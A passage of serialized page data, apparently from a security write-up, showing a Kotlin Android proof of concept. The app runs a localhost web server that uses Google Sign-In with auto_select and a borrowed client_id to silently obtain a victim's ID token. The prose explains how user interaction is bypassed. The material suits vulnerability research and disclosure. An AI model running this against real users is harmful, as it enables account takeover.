"props":113622,"children":113623},{"style":13620},[113624],{"type":30,"value":83982},{"type":25,"tag":271,"props":113626,"children":113627},{"style":13625},[113628],{"type":30,"value":16431},{"type":25,"tag":271,"props":113630,"children":113631},{"class":13593,"line":16992},[113632,113636],{"type":25,"tag":271,"props":113633,"children":113634},{"style":13620},[113635],{"type":30,"value":83994},{"type":25,"tag":271,"props":113637,"children":113638},{"style":13625},[113639],{"type":30,"value":16431},{"type":25,"tag":271,"props":113641,"children":113642},{"class":13593,"line":17052},[113643,113647,113651,113655,113659],{"type":25,"tag":271,"props":113644,"children":113645},{"style":13620},[113646],{"type":30,"value":84006},{"type":25,"tag":271,"props":113648,"children":113649},{"style":13625},[113650],{"type":30,"value":84011},{"type":25,"tag":271,"props":113652,"children":113653},{"style":13603},[113654],{"type":30,"value":1065},{"type":25,"tag":271,"props":113656,"children":113657},{"style":17388},[113658],{"type":30,"value":84020},{"type":25,"tag":271,"props":113660,"children":113661},{"style":13625},[113662],{"type":30,"value":16299},{"type":25,"tag":271,"props":113664,"children":113665},{"class":13593,"line":22168},[113666,113670,113674,113678,113682,113686,113690,113694],{"type":25,"tag":271,"props":113667,"children":113668},{"style":13620},[113669],{"type":30,"value":84006},{"type":25,"tag":271,"props":113671,"children":113672},{"style":13625},[113673],{"type":30,"value":84036},{"type":25,"tag":271,"props":113675,"children":113676},{"style":13603},[113677],{"type":30,"value":1065},{"type":25,"tag":271,"props":113679,"children":113680},{"style":17388},[113681],{"type":30,"value":84045},{"type":25,"tag":271,"props":113683,"children":113684},{"style":13625},[113685],{"type":30,"value":84050},{"type":25,"tag":271,"props":113687,"children":113688},{"style":13603},[113689],{"type":30,"value":1065},{"type":25,"tag":271,"props":113691,"children":113692},{"style":17388},[113693],{"type":30,"value":84059},{"type":25,"tag":271,"props":113695,"children":113696},{"style":13625},[113697],{"type":30,"value":16299},{"type":25,"tag":271,"props":113699,"children":113700},{"class":13593,"line":22186},[113701,113705,113709,113713],{"type":25,"tag":271,"props":113702,"children":113703},{"style":13620},[113704],{"type":30,"value":84071},{"type":25,"tag":271,"props":113706,"children":113707},{"style":13625},[113708],{"type":30,"value":394},{"type":25,"tag":271,"props":113710,"children":113711},{"style":17388},[113712],{"type":30,"value":84080},{"type":25,"tag":271,"props":113714,"children":113715},{"style":13625},[113716],{"type":30,"value":16299},{"type":25,"tag":271,"props":113718,"children":113719},{"class":13593,"line":22231},[113720],{"type":25,"tag":271,"props":113721,"children":113722},{"style":13625},[113723],{"type":30,"value":84092},{"type":25,"tag":271,"props":113725,"children":113726},{"class":13593,"line":22337},[113727,113731],{"type":25,"tag":271,"props":113728,"children":113729},{"style":13620},[113730],{"type":30,"value":84100},{"type":25,"tag":271,"props":113732,"children":113733},{"style":13625},[113734],{"type":30,"value":16431},{"type":25,"tag":271,"props":113736,"children":113737},{"class":13593,"line":36608},[113738,113742,113746,113750,113754],{"type":25,"tag":271,"props":113739,"children":113740},{"style":13620},[113741],{"type":30,"value":84112},{"type":25,"tag":271,"props":113743,"children":113744},{"style":13625},[113745],{"type":30,"value":22709},{"type":25,"tag":271,"props":113747,"children":113748},{"style":13603},[113749],{"type":30,"value":2074},{"type":25,"tag":271,"props":113751,"children":113752},{"style":17388},[113753],{"type":30,"value":84125},{"type":25,"tag":271,"props":113755,"children":113756},{"style":13625},[113757],{"type":30,"value":22719},{"type":25,"tag":271,"props":113759,"children":113760},{"class":13593,"line":36643},[113761,113765],{"type":25,"tag":271,"props":113762,"children":113763},{"style":13620},[113764],{"type":30,"value":84137},{"type":25,"tag":271,"props":113766,"children":113767},{"style":13625},[113768],{"type":30,"value":16431},{"type":25,"tag":271,"props":113770,"children":113771},{"class":13593,"line":36651},[113772,113776],{"type":25,"tag":271,"props":113773,"children":113774},{"style":13603},[113775],{"type":30,"value":84149},{"type":25,"tag":271,"props":113777,"children":113778},{"style":17388},[113779],{"type":30,"value":113780},"\"document.body.innerText = location.hash;\"\n",{"type":25,"tag":271,"props":113782,"children":113783},{"class":13593,"line":36659},[113784],{"type":25,"tag":271,"props":113785,"children":113786},{"style":13625},[113787],{"type":30,"value":84162},{"type":25,"tag":271,"props":113789,"children":113790},{"class":13593,"line":36668},[113791],{"type":25,"tag":271,"props":113792,"children":113793},{"style":13625},[113794],{"type":30,"value":84092},{"type":25,"tag":271,"props":113796,"children":113797},{"class":13593,"line":36710},[113798],{"type":25,"tag":271,"props":113799,"children":113800},{"style":13625},[113801],{"type":30,"value":84177},{"type":25,"tag":271,"props":113803,"children":113804},{"class":13593,"line":36743},[113805],{"type":25,"tag":271,"props":113806,"children":113807},{"style":13625},[113808],{"type":30,"value":84185},{"type":25,"tag":271,"props":113810,"children":113811},{"class":13593,"line":36751},[113812],{"type":25,"tag":271,"props":113813,"children":113814},{"style":13625},[113815],{"type":30,"value":72000},{"type":25,"tag":271,"props":113817,"children":113818},{"class":13593,"line":36759},[113819,113823,113827,113831,113835,113839],{"type":25,"tag":271,"props":113820,"children":113821},{"style":13625},[113822],{"type":30,"value":84200},{"type":25,"tag":271,"props":113824,"children":113825},{"style":13620},[113826],{"type":30,"value":84205},{"type":25,"tag":271,"props":113828,"children":113829},{"style":13625},[113830],{"type":30,"value":84210},{"type":25,"tag":271,"props":113832,"children":113833},{"style":13603},[113834],{"type":30,"value":1065},{"type":25,"tag":271,"props":113836,"children":113837},{"style":14289},[113838],{"type":30,"value":25594},{"type":25,"tag":271,"props":113840,"children":113841},{"style":13625},[113842],{"type":30,"value":16299},{"type":25,"tag":271,"props":113844,"children":113845},{"class":13593,"line":36768},[113846],{"type":25,"tag":271,"props":113847,"children":113848},{"style":13625},[113849],{"type":30,"value":16501},{"type":25,"tag":26,"props":113851,"children":113852},{},[113853],{"type":30,"value":113854},"In this case, the prompt parameter can be omitted from the URL. This way, if the victim is already logged in, the OAuth 2.0 prompt interaction will be skipped.",{"type":25,"tag":26,"props":113856,"children":113857},{},[113858,113860,113866],{"type":30,"value":113859},"If Google Sign-In (GSI) is being used, we found that it's possible to use the ",{"type":25,"tag":264,"props":113861,"children":113863},{"className":113862},[],[113864],{"type":30,"value":113865},"auto_select",{"type":30,"value":113867}," parameter to trigger automatic reauthentication and bypass user interaction:",{"type":25,"tag":7764,"props":113869,"children":113871},{"className":113227,"code":113870,"language":113229,"meta":7,"style":7},"    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(\"http://localhost:3000\"))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            title(\"Test\")\n                            script {\n                                src = \"https://accounts.google.com/gsi/client\"\n                                attributes[\"async\"] = \"\"\n                                attributes[\"defer\"] = \"\"\n                            }\n                            script {\n                                unsafe {\n                                    +\"\"\"\n    function handleCredentialResponse(response) {\n      alert(\"credential: \" + response.credential);\n    }\n\n    window.onload = async function () {\n      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n      const client_id = oauth_url.searchParams.get(\"client_id\");\n      google.accounts.id.initialize({\n        client_id: client_id,\n        callback: handleCredentialResponse,\n        auto_select: true\n      });\n\n      google.accounts.id.renderButton(\n        document.getElementById(\"g_id_signin\"),\n        { theme: \"outline\", size: \"large\" }\n      );\n\n      google.accounts.id.prompt();\n    };\n                                    \"\"\".trimIndent()\n                                }\n                            }\n                        }\n                        body {\n                            h1 { +\"Login here:\" }\n                            div {\n                                id = \"g_id_signin\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n",[113872],{"type":25,"tag":264,"props":113873,"children":113874},{"__ignoreMap":7},[113875,113902,113921,113928,113947,113958,113969,114000,114023,114070,114077,114084,114091,114131,114142,114149,114156,114175,114198,114209,114228,114243,114254,114274,114285,114302,114328,114352,114359,114370,114382,114395,114403,114411,114418,114425,114433,114441,114449,114457,114465,114473,114481,114488,114495,114503,114511,114519,114526,114533,114541,114548,114569,114577,114584,114591,114602,114626,114638,114655,114662,114669,114677,114685,114693,114721],{"type":25,"tag":271,"props":113876,"children":113877},{"class":13593,"line":13594},[113878,113882,113886,113890,113894,113898],{"type":25,"tag":271,"props":113879,"children":113880},{"style":14289},[113881],{"type":30,"value":83559},{"type":25,"tag":271,"props":113883,"children":113884},{"style":14289},[113885],{"type":30,"value":19335},{"type":25,"tag":271,"props":113887,"children":113888},{"style":13620},[113889],{"type":30,"value":83568},{"type":25,"tag":271,"props":113891,"children":113892},{"style":13625},[113893],{"type":30,"value":83573},{"type":25,"tag":271,"props":113895,"children":113896},{"style":13609},[113897],{"type":30,"value":83578},{"type":25,"tag":271,"props":113899,"children":113900},{"style":13625},[113901],{"type":30,"value":83583},{"type":25,"tag":271,"props":113903,"children":113904},{"class":13593,"line":11641},[113905,113909,113913,113917],{"type":25,"tag":271,"props":113906,"children":113907},{"style":14289},[113908],{"type":30,"value":83591},{"type":25,"tag":271,"props":113910,"children":113911},{"style":13625},[113912],{"type":30,"value":1860},{"type":25,"tag":271,"props":113914,"children":113915},{"style":13620},[113916],{"type":30,"value":83600},{"type":25,"tag":271,"props":113918,"children":113919},{"style":13625},[113920],{"type":30,"value":83605},{"type":25,"tag":271,"props":113922,"children":113923},{"class":13593,"line":14354},[113924],{"type":25,"tag":271,"props":113925,"children":113926},{"emptyLinePlaceholder":18},[113927],{"type":30,"value":16829},{"type":25,"tag":271,"props":113929,"children":113930},{"class":13593,"line":14391},[113931,113935,113939,113943],{"type":25,"tag":271,"props":113932,"children":113933},{"style":13620},[113934],{"type":30,"value":83628},{"type":25,"tag":271,"props":113936,"children":113937},{"style":13625},[113938],{"type":30,"value":83633},{"type":25,"tag":271,"props":113940,"children":113941},{"style":13620},[113942],{"type":30,"value":83638},{"type":25,"tag":271,"props":113944,"children":113945},{"style":13625},[113946],{"type":30,"value":16431},{"type":25,"tag":271,"props":113948,"children":113949},{"class":13593,"line":14400},[113950,113954],{"type":25,"tag":271,"props":113951,"children":113952},{"style":16171},[113953],{"type":30,"value":83650},{"type":25,"tag":271,"props":113955,"children":113956},{"style":13625},[113957],{"type":30,"value":16431},{"type":25,"tag":271,"props":113959,"children":113960},{"class":13593,"line":16406},[113961,113965],{"type":25,"tag":271,"props":113962,"children":113963},{"style":13620},[113964],{"type":30,"value":83662},{"type":25,"tag":271,"props":113966,"children":113967},{"style":13625},[113968],{"type":30,"value":20857},{"type":25,"tag":271,"props":113970,"children":113971},{"class":13593,"line":16434},[113972,113976,113980,113984,113988,113992,113996],{"type":25,"tag":271,"props":113973,"children":113974},{"style":13625},[113975],{"type":30,"value":83674},{"type":25,"tag":271,"props":113977,"children":113978},{"style":13620},[113979],{"type":30,"value":13482},{"type":25,"tag":271,"props":113981,"children":113982},{"style":13625},[113983],{"type":30,"value":394},{"type":25,"tag":271,"props":113985,"children":113986},{"style":17388},[113987],{"type":30,"value":83687},{"type":25,"tag":271,"props":113989,"children":113990},{"style":13625},[113991],{"type":30,"value":44},{"type":25,"tag":271,"props":113993,"children":113994},{"style":17388},[113995],{"type":30,"value":83696},{"type":25,"tag":271,"props":113997,"children":113998},{"style":13625},[113999],{"type":30,"value":16299},{"type":25,"tag":271,"props":114001,"children":114002},{"class":13593,"line":16447},[114003,114007,114011,114015,114019],{"type":25,"tag":271,"props":114004,"children":114005},{"style":13625},[114006],{"type":30,"value":83708},{"type":25,"tag":271,"props":114008,"children":114009},{"style":14289},[114010],{"type":30,"value":61527},{"type":25,"tag":271,"props":114012,"children":114013},{"style":13625},[114014],{"type":30,"value":83717},{"type":25,"tag":271,"props":114016,"children":114017},{"style":13609},[114018],{"type":30,"value":83722},{"type":25,"tag":271,"props":114020,"children":114021},{"style":13625},[114022],{"type":30,"value":27925},{"type":25,"tag":271,"props":114024,"children":114025},{"class":13593,"line":16465},[114026,114030,114034,114038,114042,114046,114050,114054,114058,114062,114066],{"type":25,"tag":271,"props":114027,"children":114028},{"style":13625},[114029],{"type":30,"value":83674},{"type":25,"tag":271,"props":114031,"children":114032},{"style":13620},[114033],{"type":30,"value":64570},{"type":25,"tag":271,"props":114035,"children":114036},{"style":13625},[114037],{"type":30,"value":394},{"type":25,"tag":271,"props":114039,"children":114040},{"style":17388},[114041],{"type":30,"value":83687},{"type":25,"tag":271,"props":114043,"children":114044},{"style":13625},[114045],{"type":30,"value":44},{"type":25,"tag":271,"props":114047,"children":114048},{"style":17388},[114049],{"type":30,"value":83754},{"type":25,"tag":271,"props":114051,"children":114052},{"style":14289},[114053],{"type":30,"value":47221},{"type":25,"tag":271,"props":114055,"children":114056},{"style":13603},[114057],{"type":30,"value":83763},{"type":25,"tag":271,"props":114059,"children":114060},{"style":14289},[114061],{"type":30,"value":978},{"type":25,"tag":271,"props":114063,"children":114064},{"style":17388},[114065],{"type":30,"value":6294},{"type":25,"tag":271,"props":114067,"children":114068},{"style":13625},[114069],{"type":30,"value":83776},{"type":25,"tag":271,"props":114071,"children":114072},{"class":13593,"line":16486},[114073],{"type":25,"tag":271,"props":114074,"children":114075},{"style":13625},[114076],{"type":30,"value":72000},{"type":25,"tag":271,"props":114078,"children":114079},{"class":13593,"line":16495},[114080],{"type":25,"tag":271,"props":114081,"children":114082},{"style":13625},[114083],{"type":30,"value":16492},{"type":25,"tag":271,"props":114085,"children":114086},{"class":13593,"line":16744},[114087],{"type":25,"tag":271,"props":114088,"children":114089},{"emptyLinePlaceholder":18},[114090],{"type":30,"value":16829},{"type":25,"tag":271,"props":114092,"children":114093},{"class":13593,"line":16761},[114094,114098,114102,114106,114110,114114,114118,114122,114127],{"type":25,"tag":271,"props":114095,"children":114096},{"style":14289},[114097],{"type":30,"value":83813},{"type":25,"tag":271,"props":114099,"children":114100},{"style":13625},[114101],{"type":30,"value":83839},{"type":25,"tag":271,"props":114103,"children":114104},{"style":13603},[114105],{"type":30,"value":1065},{"type":25,"tag":271,"props":114107,"children":114108},{"style":13620},[114109],{"type":30,"value":83848},{"type":25,"tag":271,"props":114111,"children":114112},{"style":13625},[114113],{"type":30,"value":83853},{"type":25,"tag":271,"props":114115,"children":114116},{"style":13620},[114117],{"type":30,"value":52322},{"type":25,"tag":271,"props":114119,"children":114120},{"style":13625},[114121],{"type":30,"value":394},{"type":25,"tag":271,"props":114123,"children":114124},{"style":17388},[114125],{"type":30,"value":114126},"\"http://localhost:3000\"",{"type":25,"tag":271,"props":114128,"children":114129},{"style":13625},[114130],{"type":30,"value":32833},{"type":25,"tag":271,"props":114132,"children":114133},{"class":13593,"line":16778},[114134,114138],{"type":25,"tag":271,"props":114135,"children":114136},{"style":13620},[114137],{"type":30,"value":83870},{"type":25,"tag":271,"props":114139,"children":114140},{"style":13625},[114141],{"type":30,"value":83875},{"type":25,"tag":271,"props":114143,"children":114144},{"class":13593,"line":16791},[114145],{"type":25,"tag":271,"props":114146,"children":114147},{"style":13625},[114148],{"type":30,"value":16501},{"type":25,"tag":271,"props":114150,"children":114151},{"class":13593,"line":16800},[114152],{"type":25,"tag":271,"props":114153,"children":114154},{"emptyLinePlaceholder":18},[114155],{"type":30,"value":16829},{"type":25,"tag":271,"props":114157,"children":114158},{"class":13593,"line":16823},[114159,114163,114167,114171],{"type":25,"tag":271,"props":114160,"children":114161},{"style":14289},[114162],{"type":30,"value":83897},{"type":25,"tag":271,"props":114164,"children":114165},{"style":14289},[114166],{"type":30,"value":19335},{"type":25,"tag":271,"props":114168,"children":114169},{"style":13620},[114170],{"type":30,"value":83906},{"type":25,"tag":271,"props":114172,"children":114173},{"style":13625},[114174],{"type":30,"value":28858},{"type":25,"tag":271,"props":114176,"children":114177},{"class":13593,"line":16832},[114178,114182,114186,114190,114194],{"type":25,"tag":271,"props":114179,"children":114180},{"style":13620},[114181],{"type":30,"value":83918},{"type":25,"tag":271,"props":114183,"children":114184},{"style":13625},[114185],{"type":30,"value":83923},{"type":25,"tag":271,"props":114187,"children":114188},{"style":13603},[114189],{"type":30,"value":1065},{"type":25,"tag":271,"props":114191,"children":114192},{"style":16187},[114193],{"type":30,"value":83932},{"type":25,"tag":271,"props":114195,"children":114196},{"style":13625},[114197],{"type":30,"value":27925},{"type":25,"tag":271,"props":114199,"children":114200},{"class":13593,"line":16841},[114201,114205],{"type":25,"tag":271,"props":114202,"children":114203},{"style":13620},[114204],{"type":30,"value":83944},{"type":25,"tag":271,"props":114206,"children":114207},{"style":13625},[114208],{"type":30,"value":16431},{"type":25,"tag":271,"props":114210,"children":114211},{"class":13593,"line":16907},[114212,114216,114220,114224],{"type":25,"tag":271,"props":114213,"children":114214},{"style":14289},[114215],{"type":30,"value":83956},{"type":25,"tag":271,"props":114217,"children":114218},{"style":13625},[114219],{"type":30,"value":394},{"type":25,"tag":271,"props":114221,"children":114222},{"style":17388},[114223],{"type":30,"value":83965},{"type":25,"tag":271,"props":114225,"children":114226},{"style":13625},[114227],{"type":30,"value":27925},{"type":25,"tag":271,"props":114229,"children":114230},{"class":13593,"line":16915},[114231,114235,114239],{"type":25,"tag":271,"props":114232,"children":114233},{"style":13625},[114234],{"type":30,"value":83977},{"type":25,"tag":271,"props":114236,"children":114237},{"style":13620},[114238],{"type":30,"value":83982},{"type":25,"tag":271,"props":114240,"children":114241},{"style":13625},[114242],{"type":30,"value":16431},{"type":25,"tag":271,"props":114244,"children":114245},{"class":13593,"line":16945},[114246,114250],{"type":25,"tag":271,"props":114247,"children":114248},{"style":13620},[114249],{"type":30,"value":83994},{"type":25,"tag":271,"props":114251,"children":114252},{"style":13625},[114253],{"type":30,"value":16431},{"type":25,"tag":271,"props":114255,"children":114256},{"class":13593,"line":16953},[114257,114261,114265,114270],{"type":25,"tag":271,"props":114258,"children":114259},{"style":13620},[114260],{"type":30,"value":84071},{"type":25,"tag":271,"props":114262,"children":114263},{"style":13625},[114264],{"type":30,"value":394},{"type":25,"tag":271,"props":114266,"children":114267},{"style":17388},[114268],{"type":30,"value":114269},"\"Test\"",{"type":25,"tag":271,"props":114271,"children":114272},{"style":13625},[114273],{"type":30,"value":16299},{"type":25,"tag":271,"props":114275,"children":114276},{"class":13593,"line":16984},[114277,114281],{"type":25,"tag":271,"props":114278,"children":114279},{"style":13620},[114280],{"type":30,"value":84137},{"type":25,"tag":271,"props":114282,"children":114283},{"style":13625},[114284],{"type":30,"value":16431},{"type":25,"tag":271,"props":114286,"children":114287},{"class":13593,"line":16992},[114288,114293,114297],{"type":25,"tag":271,"props":114289,"children":114290},{"style":13625},[114291],{"type":30,"value":114292},"                                src ",{"type":25,"tag":271,"props":114294,"children":114295},{"style":13603},[114296],{"type":30,"value":1065},{"type":25,"tag":271,"props":114298,"children":114299},{"style":17388},[114300],{"type":30,"value":114301}," \"https://accounts.google.com/gsi/client\"\n",{"type":25,"tag":271,"props":114303,"children":114304},{"class":13593,"line":17052},[114305,114310,114315,114319,114323],{"type":25,"tag":271,"props":114306,"children":114307},{"style":13625},[114308],{"type":30,"value":114309},"                                attributes[",{"type":25,"tag":271,"props":114311,"children":114312},{"style":17388},[114313],{"type":30,"value":114314},"\"async\"",{"type":25,"tag":271,"props":114316,"children":114317},{"style":13625},[114318],{"type":30,"value":21781},{"type":25,"tag":271,"props":114320,"children":114321},{"style":13603},[114322],{"type":30,"value":1065},{"type":25,"tag":271,"props":114324,"children":114325},{"style":17388},[114326],{"type":30,"value":114327}," \"\"\n",{"type":25,"tag":271,"props":114329,"children":114330},{"class":13593,"line":22168},[114331,114335,114340,114344,114348],{"type":25,"tag":271,"props":114332,"children":114333},{"style":13625},[114334],{"type":30,"value":114309},{"type":25,"tag":271,"props":114336,"children":114337},{"style":17388},[114338],{"type":30,"value":114339},"\"defer\"",{"type":25,"tag":271,"props":114341,"children":114342},{"style":13625},[114343],{"type":30,"value":21781},{"type":25,"tag":271,"props":114345,"children":114346},{"style":13603},[114347],{"type":30,"value":1065},{"type":25,"tag":271,"props":114349,"children":114350},{"style":17388},[114351],{"type":30,"value":114327},{"type":25,"tag":271,"props":114353,"children":114354},{"class":13593,"line":22186},[114355],{"type":25,"tag":271,"props":114356,"children":114357},{"style":13625},[114358],{"type":30,"value":84162},{"type":25,"tag":271,"props":114360,"children":114361},{"class":13593,"line":22231},[114362,114366],{"type":25,"tag":271,"props":114363,"children":114364},{"style":13620},[114365],{"type":30,"value":84137},{"type":25,"tag":271,"props":114367,"children":114368},{"style":13625},[114369],{"type":30,"value":16431},{"type":25,"tag":271,"props":114371,"children":114372},{"class":13593,"line":22337},[114373,114378],{"type":25,"tag":271,"props":114374,"children":114375},{"style":13620},[114376],{"type":30,"value":114377},"                                unsafe",{"type":25,"tag":271,"props":114379,"children":114380},{"style":13625},[114381],{"type":30,"value":16431},{"type":25,"tag":271,"props":114383,"children":114384},{"class":13593,"line":36608},[114385,114390],{"type":25,"tag":271,"props":114386,"children":114387},{"style":13603},[114388],{"type":30,"value":114389},"                                    +",{"type":25,"tag":271,"props":114391,"children":114392},{"style":17388},[114393],{"type":30,"value":114394},"\"\"\"\n",{"type":25,"tag":271,"props":114396,"children":114397},{"class":13593,"line":36643},[114398],{"type":25,"tag":271,"props":114399,"children":114400},{"style":17388},[114401],{"type":30,"value":114402},"    function handleCredentialResponse(response) {\n",{"type":25,"tag":271,"props":114404,"children":114405},{"class":13593,"line":36651},[114406],{"type":25,"tag":271,"props":114407,"children":114408},{"style":17388},[114409],{"type":30,"value":114410},"      alert(\"credential: \" + response.credential);\n",{"type":25,"tag":271,"props":114412,"children":114413},{"class":13593,"line":36659},[114414],{"type":25,"tag":271,"props":114415,"children":114416},{"style":17388},[114417],{"type":30,"value":16501},{"type":25,"tag":271,"props":114419,"children":114420},{"class":13593,"line":36668},[114421],{"type":25,"tag":271,"props":114422,"children":114423},{"emptyLinePlaceholder":18},[114424],{"type":30,"value":16829},{"type":25,"tag":271,"props":114426,"children":114427},{"class":13593,"line":36710},[114428],{"type":25,"tag":271,"props":114429,"children":114430},{"style":17388},[114431],{"type":30,"value":114432},"    window.onload = async function () {\n",{"type":25,"tag":271,"props":114434,"children":114435},{"class":13593,"line":36743},[114436],{"type":25,"tag":271,"props":114437,"children":114438},{"style":17388},[114439],{"type":30,"value":114440},"      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n",{"type":25,"tag":271,"props":114442,"children":114443},{"class":13593,"line":36751},[114444],{"type":25,"tag":271,"props":114445,"children":114446},{"style":17388},[114447],{"type":30,"value":114448},"      const client_id = oauth_url.searchParams.get(\"client_id\");\n",{"type":25,"tag":271,"props":114450,"children":114451},{"class":13593,"line":36759},[114452],{"type":25,"tag":271,"props":114453,"children":114454},{"style":17388},[114455],{"type":30,"value":114456},"      google.accounts.id.initialize({\n",{"type":25,"tag":271,"props":114458,"children":114459},{"class":13593,"line":36768},[114460],{"type":25,"tag":271,"props":114461,"children":114462},{"style":17388},[114463],{"type":30,"value":114464},"        client_id: client_id,\n",{"type":25,"tag":271,"props":114466,"children":114467},{"class":13593,"line":36844},[114468],{"type":25,"tag":271,"props":114469,"children":114470},{"style":17388},[114471],{"type":30,"value":114472},"        callback: handleCredentialResponse,\n",{"type":25,"tag":271,"props":114474,"children":114475},{"class":13593,"line":36877},[114476],{"type":25,"tag":271,"props":114477,"children":114478},{"style":17388},[114479],{"type":30,"value":114480},"        auto_select: true\n",{"type":25,"tag":271,"props":114482,"children":114483},{"class":13593,"line":36885},[114484],{"type":25,"tag":271,"props":114485,"children":114486},{"style":17388},[114487],{"type":30,"value":20419},{"type":25,"tag":271,"props":114489,"children":114490},{"class":13593,"line":36893},[114491],{"type":25,"tag":271,"props":114492,"children":114493},{"emptyLinePlaceholder":18},[114494],{"type":30,"value":16829},{"type":25,"tag":271,"props":114496,"children":114497},{"class":13593,"line":36930},[114498],{"type":25,"tag":271,"props":114499,"children":114500},{"style":17388},[114501],{"type":30,"value":114502},"      google.accounts.id.renderButton(\n",{"type":25,"tag":271,"props":114504,"children":114505},{"class":13593,"line":36943},[114506],{"type":25,"tag":271,"props":114507,"children":114508},{"style":17388},[114509],{"type":30,"value":114510},"        document.getElementById(\"g_id_signin\"),\n",{"type":25,"tag":271,"props":114512,"children":114513},{"class":13593,"line":36956},[114514],{"type":25,"tag":271,"props":114515,"children":114516},{"style":17388},[114517],{"type":30,"value":114518},"        { theme: \"outline\", size: \"large\" }\n",{"type":25,"tag":271,"props":114520,"children":114521},{"class":13593,"line":36969},[114522],{"type":25,"tag":271,"props":114523,"children":114524},{"style":17388},[114525],{"type":30,"value":19890},{"type":25,"tag":271,"props":114527,"children":114528},{"class":13593,"line":37023},[114529],{"type":25,"tag":271,"props":114530,"children":114531},{"emptyLinePlaceholder":18},[114532],{"type":30,"value":16829},{"type":25,"tag":271,"props":114534,"children":114535},{"class":13593,"line":37032},[114536],{"type":25,"tag":271,"props":114537,"children":114538},{"style":17388},[114539],{"type":30,"value":114540},"      google.accounts.id.prompt();\n",{"type":25,"tag":271,"props":114542,"children":114543},{"class":13593,"line":45393},[114544],{"type":25,"tag":271,"props":114545,"children":114546},{"style":17388},[114547],{"type":30,"value":52107},{"type":25,"tag":271,"props":114549,"children":114550},{"class":13593,"line":45414},[114551,114556,114560,114565],{"type":25,"tag":271,"props":114552,"children":114553},{"style":17388},[114554],{"type":30,"value":114555},"                                    \"\"\"",{"type":25,"tag":271,"props":114557,"children":114558},{"style":13625},[114559],{"type":30,"value":1860},{"type":25,"tag":271,"props":114561,"children":114562},{"style":13620},[114563],{"type":30,"value":114564},"trimIndent",{"type":25,"tag":271,"props":114566,"children":114567},{"style":13625},[114568],{"type":30,"value":20857},{"type":25,"tag":271,"props":114570,"children":114571},{"class":13593,"line":94064},[114572],{"type":25,"tag":271,"props":114573,"children":114574},{"style":13625},[114575],{"type":30,"value":114576},"                                }\n",{"type":25,"tag":271,"props":114578,"children":114579},{"class":13593,"line":94077},[114580],{"type":25,"tag":271,"props":114581,"children":114582},{"style":13625},[114583],{"type":30,"value":84162},{"type":25,"tag":271,"props":114585,"children":114586},{"class":13593,"line":94085},[114587],{"type":25,"tag":271,"props":114588,"children":114589},{"style":13625},[114590],{"type":30,"value":84092},{"type":25,"tag":271,"props":114592,"children":114593},{"class":13593,"line":94093},[114594,114598],{"type":25,"tag":271,"props":114595,"children":114596},{"style":13620},[114597],{"type":30,"value":84100},{"type":25,"tag":271,"props":114599,"children":114600},{"style":13625},[114601],{"type":30,"value":16431},{"type":25,"tag":271,"props":114603,"children":114604},{"class":13593,"line":94101},[114605,114609,114613,114617,114622],{"type":25,"tag":271,"props":114606,"children":114607},{"style":13620},[114608],{"type":30,"value":84112},{"type":25,"tag":271,"props":114610,"children":114611},{"style":13625},[114612],{"type":30,"value":22709},{"type":25,"tag":271,"props":114614,"children":114615},{"style":13603},[114616],{"type":30,"value":2074},{"type":25,"tag":271,"props":114618,"children":114619},{"style":17388},[114620],{"type":30,"value":114621},"\"Login here:\"",{"type":25,"tag":271,"props":114623,"children":114624},{"style":13625},[114625],{"type":30,"value":22719},{"type":25,"tag":271,"props":114627,"children":114628},{"class":13593,"line":94141},[114629,114634],{"type":25,"tag":271,"props":114630,"children":114631},{"style":13620},[114632],{"type":30,"value":114633},"                            div",{"type":25,"tag":271,"props":114635,"children":114636},{"style":13625},[114637],{"type":30,"value":16431},{"type":25,"tag":271,"props":114639,"children":114640},{"class":13593,"line":94149},[114641,114646,114650],{"type":25,"tag":271,"props":114642,"children":114643},{"style":13625},[114644],{"type":30,"value":114645},"                                id 